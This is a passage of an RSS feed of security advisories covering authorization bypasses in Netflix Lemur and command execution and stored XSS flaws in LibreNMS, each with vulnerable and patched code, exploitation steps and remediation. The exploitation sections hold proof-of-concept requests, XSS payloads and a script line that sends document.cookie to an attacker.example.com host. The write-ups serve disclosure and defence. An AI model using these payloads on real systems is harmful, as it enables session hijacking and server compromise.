This can be leveraged to perform highly effective man-in-the-middle (MitM) attacks, decrypt secure network communications, and forge trusted administrative services. Additionally, because the attacker has direct custody of the subordinate CA&apos;s private key, they can establish long-term persistence outside the Lemur management framework, signing new leaf certificates indefinitely even if the vulnerability in Lemur is subsequently patched.

The Common Vulnerability Scoring System (CVSS) v3.1 assigns this vulnerability a base score of 6.5. Although the vulnerability resides in an API endpoint, it requires active authenticated access, resulting in a Local (AV:L) attack vector classification. However, the scope change (S:C) and high integrity impact (I:H) emphasize the systemic risk introduced to the broader corporate domain.

{/* icon: shield */}
{/* type: mitigation */}
## Remediation and Mitigation Guidance

The primary recommendation to resolve CVE-2026-71317 is to upgrade the Netflix Lemur installation to version 1.9.3 or higher. This update introduces the necessary parent authority validation check, blocking unauthorized sub-CA generation attempts at the controller layer. System administrators should verify their current deployment version and execute the standard update procedure.

If an immediate upgrade is not feasible, organizations can fully mitigate the threat by modifying the application&apos;s configuration. This is achieved by explicitly restricting CA creation to administrators. Administrators must modify the `lemur.conf.py` file to set `ADMIN_ONLY_AUTHORITY_CREATION = True`:

```python
# Restrict authority creation to administrators
ADMIN_ONLY_AUTHORITY_CREATION = True
```

After applying this configuration change, restart the Lemur web services to enforce the restriction. This effectively blocks non-admin users from accessing the vulnerable endpoint logic, rendering the exploit vector unusable by general users. Security teams should also inspect historical Lemur audit logs and certificate inventories for any unexpected subordinate CAs generated by non-admin users prior to the application of the patch.</content:encoded>
            <dc:creator>Alon Barad</dc:creator>
        </item>
        <item>
            <title><![CDATA[CVE-2026-71322: Missing Authorization Check in Netflix Lemur Certificate Export]]></title>
            <description><![CDATA[A structural nesting error in Netflix Lemur allows authenticated users to bypass ownership authorization checks and export public certificates by selecting export plugins that do not require private keys.]]></description>
            <link>https://cvereports.com/reports/CVE-2026-71322</link>
            <guid isPermaLink="false">https://cvereports.com/reports/CVE-2026-71322</guid>
            <category><![CDATA[Netflix Lemur]]></category>
            <category><![CDATA[none]]></category>
            <category><![CDATA[CVE]]></category>
            <category><![CDATA[Security]]></category>
            <category><![CDATA[Vulnerability]]></category>
            <dc:creator><![CDATA[Alon Barad]]></dc:creator>
            <pubDate>Tue, 18 Aug 2026 20:51:42 GMT</pubDate>
            <enclosure url="https://cvereports.com/reports/CVE-2026-71322/opengraph-image" length="0" type="image/png"/>
            <content:encoded>{/* icon: search */}
{/* type: overview */}
## Vulnerability Overview

Netflix Lemur serves as an orchestration platform for TLS/SSL certificate management, providing automated certificate provisioning, tracking, and renewal. It exposes an administrative REST API allowing users to manage, share, and export certificate material. Security boundaries are maintained via role-based access control (RBAC), restricting certificate modification and export operations to the certificate owner or designated administrators.

The vulnerability is classified as CWE-862 (Missing Authorization) and resides in the API endpoint handling certificate exports (`POST /api/1/certificates/&lt;certificate_id&gt;/export`). The core issue stems from nested logic that binds the execution of authorization checks to specific attributes of the selected export plugin rather than applying the permission check unconditionally to the target resource.

The attack surface is accessible to any authenticated user of the Lemur platform. Exploitation allows unauthorized users to retrieve truststore formats and public certificate data of assets they do not own, potentially disclosing internal network structures, domains, or certificate metadata.

{/* icon: bug */}
{/* type: deep-dive */}
## Root Cause Analysis

The root cause of CVE-2026-71322 is a control flow defect in `lemur/certificates/views.py`. During an export operation, Lemur utilizes helper plugins to format the output data (such as JKS truststores or PKCS12 keystores). These plugins declare whether they require access to the certificate&apos;s private key via the boolean attribute `plugin.requires_key`.

In the unpatched code, the conditional block evaluating certificate permission was nested entirely within the scope of an `if plugin.requires_key:` block. If a plugin set this boolean value to `False`, the control flow completely bypassed the nested authorization check (`CertificatePermission`), proceeding directly to the export implementation phase.

Furthermore, the unpatched architecture executed log auditing (`key_view`) and parameter passing unconditionally outside this conditional branch. This design meant that the private key parameter was still passed to the plugin&apos;s `export` method, and a `key_view` audit entry was logged, even if the plugin had declared it did not need the private key. This logic flow resulted in false audit trails and potential exposure of sensitive key handles to unauthorized plugins.

{/* icon: code */}
{/* type: deep-dive */}
## Code Analysis and Patch Evaluation

An examination of the vulnerable code in `lemur/certificates/views.py` reveals the flawed logical nesting:

```python
# VULNERABLE CODE PATH
if plugin.requires_key:
    if not cert.private_key:
        return (...)
    else:
        # Permission check nested only here
        if g.current_user != cert.user:
            owner_role = role_service.get_by_name(cert.owner)
            permission = CertificatePermission(owner_role, [x.name for x in cert.roles])
            if not permission.can():
                return (dict(message=&quot;Unauthorized&quot;), 403)

# Bypassed code block executions
log_service.create(g.current_user, &quot;key_view&quot;, certificate=cert)
extension, passphrase, data = plugin.export(
    cert.body, cert.chain, cert.private_key, options
)
```

The fix introduced in commit `5683bbea8b10cce07f9a8abf1e4a7d3b2031c585` corrects this flow by introducing an isolated `private_key` variable initialized to `None` and refactoring the logic structure:

```python
# PATCHED CODE PATH
private_key = None
if plugin.requires_key:
    if not cert.private_key:
        return (...)

    # Permission validation is executed whenever requires_key is true
    if g.current_user != cert.user:
        owner_role = role_service.get_by_name(cert.owner)
        permission = CertificatePermission(owner_role, [x.name for x in cert.roles])
        if not permission.can():
            return (dict(message=&quot;Unauthorized&quot;), 403)

    # Audit logging and key assignment are restricted strictly to this block
    log_service.create(g.current_user, &quot;key_view&quot;, certificate=cert)
    private_key = cert.private_key

options = data[&quot;plugin&quot;][&quot;plugin_options&quot;]
extension, passphrase, data = plugin.export(
    cert.body, cert.chain, private_key, options
)
```

The patch successfully mitigates the vulnerability by isolating the private key pointer. Because `private_key` is assigned `None` for plugins where `requires_key = False`, no private key is passed into the format handler. Furthermore, actual private key operations are bound directly to the user&apos;s role permission check, blocking unauthorized credential leakage.

{/* icon: terminal */}
{/* type: exploit */}
## Exploitation Methodology

To exploit this vulnerability, an attacker must possess authenticated API access to the Netflix Lemur target application. The attacker executes the attack using a custom REST request directed at the export endpoint.

First, the attacker identifies a certificate ID of interest (`cert_id`). The target certificate does not have to belong to the attacker&apos;s assigned user role. Second, the attacker generates a `POST` request to `/api/1/certificates/{cert_id}/export` specifying an export plugin that does not request private keys, such as `java-truststore-jks`:

```json
{
  &quot;plugin&quot;: {
    &quot;slug&quot;: &quot;java-truststore-jks&quot;,
    &quot;plugin_options&quot;: []
  }
}
```

Because the requested plugin has `requires_key = False`, the unpatched Lemur instance skips the `CertificatePermission` verification check. The handler retrieves the certificate body and public chain, formats them into a Java KeyStore structure, and returns the file payload to the unauthorized user. The transaction completes with an HTTP status `200 OK`.

```mermaid
graph LR
  User[&quot;Low-Privilege User&quot;]
  API[&quot;POST /api/1/certificates/export&quot;]
  Check[&quot;Validate requires_key Flag&quot;]
  AuthByp[&quot;Bypass CertificatePermission check&quot;]
  Export[&quot;Execute plugin.export() with null/exposed args&quot;]
  Output[&quot;Receive Truststore / Public Key Material&quot;]

  User --&gt; API
  API --&gt; Check
  Check -- &quot;requires_key == False&quot; --&gt; AuthByp
  AuthByp --&gt; Export
  Export --&gt; Output
```

{/* icon: shield */}
{/* type: deep-dive */}
## Security Impact Assessment

The overall security impact is classified as Medium, yielding a CVSS score of 4.3. The vulnerability does not allow direct remote code execution or structural modifications to certificates. However, it severely degrades the confidentiality of public key infrastructure metadata and impairs audit log integrity.

Unauthorized export of public certificate structures allows actors to map out trusted target hostnames, subdomains, and certificate properties. Additionally, on unpatched servers, a successful exploit triggers a false positive `key_view` audit log entry in the database. This obscures genuine private-key export tracking, leading to audit pollution and making security operations detection efforts unreliable.

A latent risk also exists if a third-party or locally developed export plugin, configured with `requires_key = False`, internally processes or exfiltrates the third parameter during export. In such cases, unpatched Lemur systems would expose the raw private key parameters directly to the plugin without verifying user authorization.

{/* icon: lock */}
{/* type: mitigation */}
## Detection and Remediation

Remediation requires upgrading Netflix Lemur instances to version **1.9.3** or higher. This release relocates the authorization evaluations and limits private key material to authorized execution scopes.

If immediate software upgrade is not feasible, security engineers should implement temporary workarounds. First, restrict network-level access to the export API endpoints utilizing upstream gateways or Web Application Firewalls (WAF). Allow endpoint interaction only for authenticated administrators.

Second, review customized or third-party export plugins to ensure none declare `requires_key = False` if they perform caching, logging, or storage of execution arguments. To monitor for past exploitation attempts, audit Lemur logs for occurrences where `key_view` audit actions are linked to accounts that do not have authorization or owner status over the targeted certificates.</content:encoded>
            <dc:creator>Alon Barad</dc:creator>
        </item>
        <item>
            <title><![CDATA[GHSA-JF24-8G2H-2WG7: Remote Code Execution in LibreNMS AboutController via Binary Path Substitution]]></title>
            <description><![CDATA[Authenticated administrators can execute arbitrary system commands by changing the snmpget binary path to a malicious script uploaded on the local filesystem and visiting the /about page.]]></description>
            <link>https://cvereports.com/reports/GHSA-JF24-8G2H-2WG7</link>
            <guid isPermaLink="false">https://cvereports.com/reports/GHSA-JF24-8G2H-2WG7</guid>
            <category><![CDATA[LibreNMS Network Monitoring System]]></category>
            <category><![CDATA[poc]]></category>
            <category><![CDATA[CVE]]></category>
            <category><![CDATA[Security]]></category>
            <category><![CDATA[Vulnerability]]></category>
            <dc:creator><![CDATA[Amit Schendel]]></dc:creator>
            <pubDate>Tue, 18 Aug 2026 21:17:11 GMT</pubDate>
            <enclosure url="https://cvereports.com/reports/GHSA-JF24-8G2H-2WG7/opengraph-image" length="0" type="image/png"/>
            <content:encoded>{/* icon: search */}
{/* type: overview */}
## System Architecture and Attack Surface Overview

LibreNMS is an open-source, PHP-based autodiscovering network monitoring tool that relies extensively on external system binaries to query network devices. The application exposes an administrative interface that allows authorized users to manage system configurations, including the file paths for utilities such as Net-SNMP. One of these utilities is the `snmpget` binary, which LibreNMS executes to retrieve SNMP data and verify version information.

Historically, configuration systems that execute system commands face substantial risks if input fields are not strictly restricted to pre-defined safe paths. In LibreNMS, the configuration settings are stored in a database and can be modified by users holding administrative privileges. The `/about` endpoint of the application triggers a configuration check that invokes the binary path defined in this database.

This architecture creates an attack surface where an administrative user can influence the execution path of system commands. If an attacker can manipulate the binary path configuration to point to an arbitrary executable, they can abuse the application logic to execute arbitrary code on the underlying operating system. The vulnerability is classified under command injection and path traversal weaknesses.

{/* icon: bug */}
{/* type: deep-dive */}
## Root Cause Analysis of the Path Validation Defect

The root cause of this vulnerability lies in the insufficient validation of the `snmpget` configuration value within the `AboutController.php` file. When the `/about` endpoint is accessed, the application retrieves the path to the `snmpget` executable and runs it using the PHP `shell_exec()` function. This function passes the command string directly to the host shell for execution, which inherently exposes the system to command execution vulnerabilities if the binary path itself is untrusted.

To prevent malicious inputs, LibreNMS employs a sanitization filter named `sanitizePath()` located in `LibreNMS/Util/DynamicConfigItem.php`. This helper function utilizes a regular expression pattern to detect and reject typical shell metacharacters such as semicolons, pipes, backticks, and redirection operators. It also verifies that the configured target is a valid, executable file on the local disk using PHP&apos;s native `is_file()` and `is_executable()` functions.

While this sanitization effectively blocks direct inline command injection (such as appending a command separator followed by malicious code), it fails to validate the identity and integrity of the executable itself. An attacker who can write a file to the filesystem can specify their malicious script as the target executable. Because the malicious script exists as a valid file and has the executable bit set, it satisfies both `is_file()` and `is_executable()`, allowing the path to be saved and subsequently executed by the application.

{/* icon: code */}
{/* type: deep-dive */}
## Detailed Code Path and Patch Analysis

The vulnerable version of the application processes the execution of the version check inside `app/Http/Controllers/AboutController.php` as follows:

```php
// Vulnerable code in AboutController.php
&apos;version_netsnmp&apos; =&gt; str_replace(&apos;version: &apos;, &apos;&apos;, 
    rtrim(shell_exec(LibrenmsConfig::get(&apos;snmpget&apos;, &apos;snmpget&apos;) . &apos; -V 2&gt;&amp;1&apos;))),
```

In this implementation, `shell_exec()` is used to execute the binary string directly. This passes the command to the default shell (typically `/bin/sh`), which interprets the string and runs the target process.

To remediate this issue, the patch replaces `shell_exec()` with the Symfony Process component, which executes the binary directly without spawning a shell interpreter. The updated code inside the controller is structured as follows:

```php
// Patched code in AboutController.php
use Symfony\Component\Process\Process;

// The process is initialized with arguments as an array
$process = new Process([LibrenmsConfig::get(&apos;snmpget&apos;, &apos;snmpget&apos;), &apos;-V&apos;]);
$process-&gt;run();

&apos;version_netsnmp&apos; =&gt; str_replace(&apos;version: &apos;, &apos;&apos;, rtrim($process-&gt;getOutput())),
```

By passing the binary path and arguments as an array, the Symfony Process component bypasses shell parsing. Even if the path points to a customized script, it prevents any argument injection or command-chaining. This restricts the execution to the targeted file and safely processes the output.

{/* icon: terminal */}
{/* type: exploit */}
## Exploitation and Attack Path Analysis

Exploitation of this vulnerability requires administrative credentials to access the LibreNMS web interface and modify system settings. In addition, the attacker must have a mechanism to write or upload an executable script onto the local filesystem of the target server. Common avenues for dropping the script include using temporary directories like `/tmp`, leveraging existing file upload functionalities, or exploiting secondary vulnerabilities.

Once a malicious executable is written to the filesystem, the attacker modifies the `snmpget` binary path configuration. This can be accomplished by navigating to the &apos;Settings&apos; panel under &apos;External Binaries&apos; or by sending a direct `PUT` request to `/settings/snmpget`. The value is set to the absolute path of the newly written executable file, which passes the validation checks because it exists and is executable.

```http
PUT /settings/snmpget HTTP/1.1
Host: librenms.target.local
Authorization: Bearer &lt;ADMIN_API_TOKEN&gt;
Content-Type: application/json

{
  &quot;value&quot;: &quot;/tmp/malicious_script.sh&quot;
}
```

After saving the configuration, the attacker triggers the execution by requesting the `/about` endpoint. The server executes the malicious script via the web daemon&apos;s account. This allows the attacker to establish a reverse shell connection or execute arbitrary system commands, resulting in host compromise.

{/* icon: skull */}
{/* type: deep-dive */}
## Security Impact and Blast Radius Assessment

The security impact of successful exploitation is high, leading to arbitrary code execution within the context of the web server daemon (such as `www-data` or `apache`). An attacker can leverage this execution access to read sensitive configuration files, modify application data, or access the database credentials stored within the LibreNMS environment.

Because LibreNMS acts as a centralized network monitoring platform, it typically holds sensitive operational data. This data includes SNMP community strings, API keys, network topology maps, and credentials for monitored network infrastructure. Access to the LibreNMS host allows an attacker to pivot and conduct lateral movement across the entire monitored corporate network.

From a CVSS perspective, the vulnerability is scored at 6.4 (CVSS v4.0) under the assumption that the immediate impact to the application itself is managed, but subsequent impact to the host OS and connected systems is high. Under CVSS v3, this scenario represents a high-severity vulnerability with a score of 7.2 due to the administrative privilege requirement.

{/* icon: shield */}
{/* type: mitigation */}
## Remediation, Patching, and Defense-in-Depth Strategies

The primary remediation for this vulnerability is upgrading LibreNMS to version `26.5.0` or higher. This version implements safe process execution via the Symfony Process component, neutralizing the command injection vector. System administrators should verify that all binary paths point to standard system directories after the upgrade.

If immediate upgrading is not feasible, several defensive workarounds should be applied to reduce the attack surface. Administrators should mount temporary write directories, such as `/tmp` and `/var/tmp`, with the `noexec` mount option to prevent the execution of arbitrary scripts dropped by attackers.

```bash
# Example of setting noexec on /tmp dynamically
mount -o remount,noexec /tmp
```

Additionally, access to the administration interface must be restricted to trusted networks using firewall rules, reverse proxies, or Web Application Firewalls (WAFs). WAF rules can be deployed to block `PUT` requests to the `/settings/snmpget` endpoint from unauthorized source IPs, ensuring that only authenticated maintenance channels can modify critical configurations.</content:encoded>
            <dc:creator>Amit Schendel</dc:creator>
        </item>
        <item>
            <title><![CDATA[GHSA-7cj5-v4pp-v632: Stored Cross-Site Scripting in LibreNMS Graph Descriptions]]></title>
            <description><![CDATA[An authenticated administrator can store arbitrary JavaScript in the configuration database via graph descriptions. The stored payload executes inside the browser session of any user viewing the associated graph pages.]]></description>
            <link>https://cvereports.com/reports/GHSA-7CJ5-V4PP-V632</link>
            <guid isPermaLink="false">https://cvereports.com/reports/GHSA-7CJ5-V4PP-V632</guid>
            <category><![CDATA[LibreNMS prior to version 26.7.0]]></category>
            <category><![CDATA[poc]]></category>
            <category><![CDATA[CVE]]></category>
            <category><![CDATA[Security]]></category>
            <category><![CDATA[Vulnerability]]></category>
            <dc:creator><![CDATA[Alon Barad]]></dc:creator>
            <pubDate>Tue, 18 Aug 2026 21:17:20 GMT</pubDate>
            <enclosure url="https://cvereports.com/reports/GHSA-7CJ5-V4PP-V632/opengraph-image" length="0" type="image/png"/>
            <content:encoded>{/* icon: search */}
{/* type: overview */}
## Vulnerability Overview

LibreNMS is an open-source, auto-discovering PHP/MySQL-based network monitoring system that utilizes SNMP to discover and graph network infrastructure. To maintain robust reporting, the platform provides administrators with configuration options to customize descriptions and attributes of various graph types. This administrative capability exposes an attack surface when system configurations are rendered to other web session contexts.

The administrative settings for graph descriptions, mapped to `graph_descr.&lt;graphtype&gt;`, allow administrators to input arbitrary string configurations. These settings are subsequently queried and rendered dynamically when users navigate to different graph sections of the application.

This vulnerability is classified under CWE-79 (Improper Neutralization of Input During Web Page Generation). Because the application retrieves and outputs these descriptions verbatim to the DOM, an attacker with administrative privileges can store malicious payloads, which are executed automatically when other users load the associated graph dashboard.

{/* icon: bug */}
{/* type: deep-dive */}
## Root Cause Analysis

The underlying vulnerability is located within the presentation layer of the application, specifically in the file `includes/html/pages/graphs.inc.php` at line 194. The application dynamically processes requests for various graph types by analyzing URL and request parameters stored inside the `$vars` array.

To display custom graph descriptions, the application uses the dynamic configuration retrieval method `LibrenmsConfig::get(&apos;graph_descr.&apos; . $vars[&apos;type&apos;])`. This function queries the system database and returns the configured value for the specified graph type. The returned value is then passed directly to the standard output buffer.

The application fails to invoke sanitation, filtering, or context-aware escaping functions before displaying this data. Because the output mechanism lacks context-aware encoding, the user browser interprets any stored string containing HTML elements or executable JavaScript tags as functional code instead of plain text.

{/* icon: code */}
{/* type: deep-dive */}
## Code Analysis and Patch Assessment

The vulnerability is demonstrated by examining the execution flow in the unpatched version of `includes/html/pages/graphs.inc.php`:

```php
// Vulnerable Code: includes/html/pages/graphs.inc.php (Line 194)
// The retrieved configuration string is echoed directly to the output buffer without escaping.
echo LibrenmsConfig::get(&apos;graph_descr.&apos; . $vars[&apos;type&apos;]);
```

To resolve this vulnerability, developers introduced a security patch that forces strict output encoding on the retrieved data before it is written to the browser context:

```php
// Patched Code: includes/html/pages/graphs.inc.php (Line 194)
// The output is processed by htmlspecialchars with ENT_QUOTES to sanitize special characters.
echo htmlspecialchars(LibrenmsConfig::get(&apos;graph_descr.&apos; . $vars[&apos;type&apos;]), ENT_QUOTES, &apos;UTF-8&apos;);
```

The implementation of `htmlspecialchars()` with the `ENT_QUOTES` flag and `UTF-8` encoding ensures that characters such as `&lt;`, `&gt;`, `&amp;`, `&quot;`, and `&apos;` are safely converted to their corresponding HTML entity equivalents. This prevents the browser from interpreting the injected string as executable HTML tags or event handlers, effectively neutralizing the injection vector.

The fix is robust and complete for this specific rendering location. However, security teams should verify that other configuration rendering paths within the LibreNMS application code apply the same strict output escaping methodologies.

{/* icon: terminal */}
{/* type: exploit */}
## Attack Methodology and Proof-of-Concept

Exploiting this vulnerability requires network connectivity to the LibreNMS administrative interface and valid administrator credentials. The attack consists of a two-stage process: payload injection (persistence) and payload execution (victim trigger).

During the injection phase, the administrator sends an authenticated `PUT` request to update the graph description configurations. The endpoint accepts raw configurations, including HTML tags and event handlers. The payload is successfully written to the system database.

```http
PUT /settings/graph_descr.device_processor HTTP/1.1
Host: &lt;target-ip&gt;
Content-Type: application/json
X-Requested-With: XMLHttpRequest
Authorization: Bearer &lt;token&gt;

{&quot;value&quot;: &quot;&lt;img src=x onerror=\&quot;alert(&apos;ADV-15&apos;)\&quot;&gt;&quot;}
```

When a victim visits the graphs page associated with the modified graph type (in this case, `device_processor`), their browser issues a `GET` request. The server queries the database, extracts the unescaped payload, and embeds it directly into the HTML response body. The browser processes the broken image element, fails to load the source, and triggers the `onerror` JavaScript handler in the victim&apos;s session context.

```http
GET /graphs?type=device_processor HTTP/1.1
Host: &lt;target-ip&gt;
Authorization: Bearer &lt;victim-token&gt;
```

{/* icon: skull */}
{/* type: deep-dive */}
## Threat and Impact Assessment

The impact of a successful exploitation of this vulnerability is significant, despite requiring administrative privileges. While administrators already have elevated control over the platform, stored XSS allows them to cross session boundaries and execute actions in the context of other authenticated users.

In scenarios where multiple administrators manage a LibreNMS instance, a lower-trust administrator or a compromised administrative account can leverage this vulnerability to hijack sessions of other, higher-privileged system administrators. This facilitates privilege escalation and unauthorized operational actions.

Because the session cookies of other active users can be extracted via document.cookie (if HttpOnly is not enforced), an attacker can perform administrative actions on behalf of the victim. This includes modifying system configurations, managing users, or querying detailed network infrastructure data.

{/* icon: shield */}
{/* type: mitigation */}
## Remediation and Defensive Engineering

The primary remediation strategy is upgrading the LibreNMS installation to version `26.7.0` or higher. This release contains the necessary codebase patches to sanitize dynamic configurations before output rendering.

For deployments where immediate upgrading is not possible, security administrators can apply the manual source code modification to `includes/html/pages/graphs.inc.php`. Ensure that `htmlspecialchars()` is integrated on line 194.

In addition to patching, organizations should implement defense-in-depth measures such as a strict Content Security Policy (CSP). Restricting inline scripts via policies like `script-src &apos;self&apos;` prevents the execution of arbitrary JavaScript injected into the DOM, mitigating the operational impact of stored XSS vulnerabilities.</content:encoded>
            <dc:creator>Alon Barad</dc:creator>
        </item>
        <item>
            <title><![CDATA[GHSA-7GWW-X7FH-JF9J: SSRF-Driven Stored Cross-Site Scripting in LibreNMS Oxidized Integration]]></title>
            <description><![CDATA[A high-severity SSRF-driven Stored XSS vulnerability in LibreNMS prior to 26.7.0 allows attackers to execute arbitrary JavaScript in the user's browser via unescaped Oxidized configuration fields.]]></description>
            <link>https://cvereports.com/reports/GHSA-7GWW-X7FH-JF9J</link>
            <guid isPermaLink="false">https://cvereports.com/reports/GHSA-7GWW-X7FH-JF9J</guid>
            <category><![CDATA[LibreNMS Network Monitoring System]]></category>
            <category><![CDATA[poc]]></category>
            <category><![CDATA[CVE]]></category>
            <category><![CDATA[Security]]></category>
            <category><![CDATA[Vulnerability]]></category>
            <dc:creator><![CDATA[Amit Schendel]]></dc:creator>
            <pubDate>Tue, 18 Aug 2026 21:17:23 GMT</pubDate>
            <enclosure url="https://cvereports.com/reports/GHSA-7GWW-X7FH-JF9J/opengraph-image" length="0" type="image/png"/>
            <content:encoded>{/* icon: search */}
{/* type: overview */}
## Vulnerability Overview

The Oxidized integration within LibreNMS provides network administrators with a unified interface to track device configuration backups and view historic differentials. By communicating with an external Oxidized API endpoint configured via the global settings, the LibreNMS application can query specific metadata regarding individual network assets. This integration introduces an attack surface that relies heavily on the server executing internal backend requests and parsing untrusted remote payloads.

When the LibreNMS dashboard requests device-specific information, it communicates with the endpoint defined in the oxidized.url setting. This dynamic data exchange involves retrieval of JSON-formatted data representing node classifications, IP addresses, models, and version control details. The architecture presumes a high level of trust in the backend API server, making it vulnerable to scenarios where the source URL points to an attacker-controlled listener.

The vulnerability arises because the web client does not sanitize input retrieved via these back-end API queries. Consequently, if an attacker successfully controls the Oxidized endpoint configuration, they can inject malicious payloads into JSON fields. When a legitimate operator accesses the showconfig interface, these payloads are fetched and rendered inside the browser DOM, bypassing the client-server trust boundary.

{/* icon: bug */}
{/* type: deep-dive */}
## Root Cause Analysis

The core vulnerability is identified as a stored cross-site scripting (XSS) vulnerability classified under CWE-79, triggered via a server-side request forgery (SSRF) style configuration mechanism classified under CWE-918. The underlying application flaw resides in the presentation file `includes/html/pages/device/showconfig.inc.php`. This module parses JSON elements returned by the Oxidized integration without verifying their structural integrity or sanitizing their contents.

During standard operations, the application retrieves node attributes and maps them directly into local array keys such as `$node_info[&apos;name&apos;]`, `$node_info[&apos;ip&apos;]`, and `$node_info[&apos;model&apos;]`. Following the payload parsing stage, the script outputs these strings directly into the HTML document using PHP echo statements. Because the values are directly concatenated with HTML tags, the application interprets any nested script elements or event handlers as raw HTML instructions.

The exploitation process is further facilitated by the lack of structural validation on the API responses. The server makes an outbound HTTP connection to the destination specified in the database configuration, processes the response body as trusted JSON, and directly reflects the parsed values onto the DOM. To trigger this condition, an attacker must have administrative control or session hijacking capabilities to modify the oxidized.url variable, or must compromise the network route to act as a man-in-the-middle.

{/* icon: code */}
{/* type: deep-dive */}
## Code Analysis

An inspection of the vulnerable source code in `includes/html/pages/device/showconfig.inc.php` highlights the lack of output encoding. The variables are written to the document output stream via raw concatenation.

```php
// Vulnerable Code Path
echo &apos;&lt;li class=&quot;list-group-item&quot;&gt;&lt;strong&gt;Node:&lt;/strong&gt; &apos; . $node_info[&apos;name&apos;] . &apos;&lt;/li&gt;&apos;;
echo &apos;&lt;li class=&quot;list-group-item&quot;&gt;&lt;strong&gt;IP:&lt;/strong&gt; &apos; . $node_info[&apos;ip&apos;] . &apos;&lt;/li&gt;&apos;;
echo &apos;&lt;li class=&quot;list-group-item&quot;&gt;&lt;strong&gt;Model:&lt;/strong&gt; &apos; . $node_info[&apos;model&apos;] . &apos;&lt;/li&gt;&apos;;
```

To remedy this injection vector, the development team introduced context-aware sanitization by routing all extracted variables through the PHP built-in `htmlspecialchars()` function. The patched implementation enforces strict HTML entity conversion, transforming control characters like `&lt;` and `&gt;` into their safe text equivalents (`&amp;lt;` and `&amp;gt;`).

```php
// Patched Code Path
echo &apos;&lt;li class=&quot;list-group-item&quot;&gt;&lt;strong&gt;Node:&lt;/strong&gt; &apos; . htmlspecialchars($node_info[&apos;name&apos;], ENT_QUOTES, &apos;UTF-8&apos;) . &apos;&lt;/li&gt;&apos;;
echo &apos;&lt;li class=&quot;list-group-item&quot;&gt;&lt;strong&gt;IP:&lt;/strong&gt; &apos; . htmlspecialchars($node_info[&apos;ip&apos;], ENT_QUOTES, &apos;UTF-8&apos;) . &apos;&lt;/li&gt;&apos;;
echo &apos;&lt;li class=&quot;list-group-item&quot;&gt;&lt;strong&gt;Model:&lt;/strong&gt; &apos; . htmlspecialchars($node_info[&apos;model&apos;], ENT_QUOTES, &apos;UTF-8&apos;) . &apos;&lt;/li&gt;&apos;;
```

Applying `ENT_QUOTES` ensures both single and double quotes are correctly converted, preventing payload breakouts from within HTML attributes. The explicit specification of the `UTF-8` character set prevents multi-byte character encoding bypasses, ensuring complete neutralization of malicious input across all output regions of the showconfig page.

{/* icon: terminal */}
{/* type: exploit */}
## Exploitation Methodology

The attack scenario relies on setting a malicious Oxidized endpoint. An attacker with access to administrative configuration settings changes the `oxidized.url` variable to an external host under their direct control, such as `http://attacker.example.com`.

Once the target URL is modified, the attacker configures their server to mimic a legitimate Oxidized API interface. When the LibreNMS server executes its backend request to fetch configuration data, the rogue server returns a payload-laden JSON object.

```json
{
  &quot;name&quot;: &quot;&lt;img src=x onerror=\&quot;alert(&apos;SSRF-XSS-oxidized&apos;)\&quot;&gt;&quot;,
  &quot;ip&quot;: &quot;192.168.1.1&quot;,
  &quot;model&quot;: &quot;Generic-Switch&quot;,
  &quot;author&quot;: &quot;&lt;script&gt;fetch(&apos;http://attacker.example.com/steal?cookie=&apos;+document.cookie)&lt;/script&gt;&quot;,
  &quot;msg&quot;: &quot;Malicious config commit&quot;
}
```

```mermaid
graph LR
  Attacker[&quot;Attacker (Admin / API Exploit)&quot;] --&gt;|&quot;Configures Malicious url&quot;| LibreNMSServer[&quot;LibreNMS Server&quot;]
  User[&quot;User Browser&quot;] --&gt;|&quot;Navigates to showconfig Tab&quot;| LibreNMSServer
  LibreNMSServer --&gt;|&quot;SSRF Query (Fetch Node Info)&quot;| MaliciousServer[&quot;Malicious Oxidized Server&quot;]
  MaliciousServer --&gt;|&quot;Malicious JSON Payload&quot;| LibreNMSServer
  LibreNMSServer --&gt;|&quot;Echoes unescaped XSS&quot;| User
```

When an operator views the showconfig page, the backend fetches this JSON and outputs the unescaped script fragments. The operator&apos;s browser executes the script, transmitting cookie identifiers and anti-CSRF tokens back to the attacker&apos;s server.

{/* icon: shield */}
{/* type: deep-dive */}
## Impact Assessment

The security impact of this vulnerability is assessed with a High severity rating, reflecting a CVSS score of 8.1. The attack vector is Network-based, and complexity remains low since exploitation steps do not depend on environmental variables or memory-alignment layouts.

Because the execution occurs directly within the active browser session of users, the scope of the vulnerability changes from the local database settings to the client-side execution environment. A successful exploit allows the attacker to execute arbitrary JavaScript code with the permissions of the viewing user. If the viewing user possesses super-administrator privileges, this execution can be leveraged to hijack sessions or modify system configurations.

The lack of immediate availability impact does not minimize the security risk. Attackers can leverage the active XSS vectors to perform administrative state changes on the monitoring server, such as provisioning additional administrative keys, altering automated network discovery rules, or modifying integration settings to compromise other devices.

{/* icon: lock */}
{/* type: mitigation */}
## Remediation &amp; Detection Guidance

Remediation requires updating LibreNMS to version 26.7.0 or later, which incorporates the output escaping patch. For deployments where immediate patch implementation is not possible, specific temporary mitigation strategies should be enforced.

First, restrict write permissions for the configuration page and block unauthorized access to the database where integration settings are stored. Administrators can manually disable the Oxidized integration in the config directory to prevent any background connections to the external URL.

Second, implement network segregation on the LibreNMS server to prevent arbitrary outbound connections. By configuring local firewall rules that block outbound traffic on ports 80 and 443 to non-whitelisted addresses, organizations can limit the risk of server-side request forgery (SSRF) and mitigate the retrieval of malicious JSON payloads.</content:encoded>
            <dc:creator>Amit Schendel</dc:creator>
        </item>
    </channel>
</rss>